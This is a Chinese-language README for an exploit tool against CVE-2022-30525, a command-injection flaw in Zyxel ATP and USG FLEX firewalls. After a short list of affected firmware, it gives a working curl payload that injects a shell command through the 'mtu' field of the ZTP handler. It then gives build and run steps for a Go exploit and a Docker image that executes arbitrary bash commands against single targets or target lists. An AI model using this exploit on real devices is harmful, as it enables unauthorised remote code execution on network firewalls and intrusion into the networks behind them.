CVE-2022-30525 作者 1vere$k

Rapid7 发现并报告了一个影响支持零触摸配置（ZTP）的 Zyxel 防火墙的漏洞，涉及的型号包括 ATP 系列、VPN 系列以及 USG FLEX 系列（包括 USG20-VPN 和 USG20W-VPN）。该漏洞被标识为 CVE-2022-30525，允许未经认证的远程攻击者在受影响设备上以 nobody 用户身份实现任意代码执行。

下表列出了受影响的型号和固件版本。

Affected Model USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 thru ZLD5.21 Patch 1 USG20-VPN, USG20W-VPN ZLD5.10 thru ZLD5.21 Patch 1 ATP 100, 200, 500, 700, 800 ZLD5.10 thru ZLD5.21 Patch 1

同样支持 ZTP 的 VPN 系列不受影响，因为它不支持所需功能。

受影响型号容易受到通过管理 HTTP 接口进行的未经认证的远程命令注入攻击。命令以 nobody 用户身份执行。该漏洞通过 /ztp/cgi-bin/handler URI 进行利用。

Curl Example

curl -v --insecure -X POST -H "Content-Type: application/json" -d
'{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
https://192.168.1.1/ztp/cgi-bin/handler

使用方法

应创建一个 cmds 文件，你可以在其中以以下格式添加要通过程序执行的命令：

bash -c "command#1 && command#2 && etc."

For example:
bash -c "ping 8.8.8.8"

Golang

1. git clone https://github.com/iveresk/cve-2022-30525.git
2. cd cve-2022-30525
3. go build cve-2022-30525.go -o /cve-2022-30525
4. chmod +x cve-2022-30525
5. ./cve-2022-30525 -t <targetURL> [or <targetFile>]

Dockerfile

docker run -it -e INPUT_FILE=<file_name> masterrooot/cve-30525

其中 INPUT_FILE 是目标 URL 或包含目标列表的文件。

联系方式

欢迎通过 Keybase 联系我以获取任何详细信息。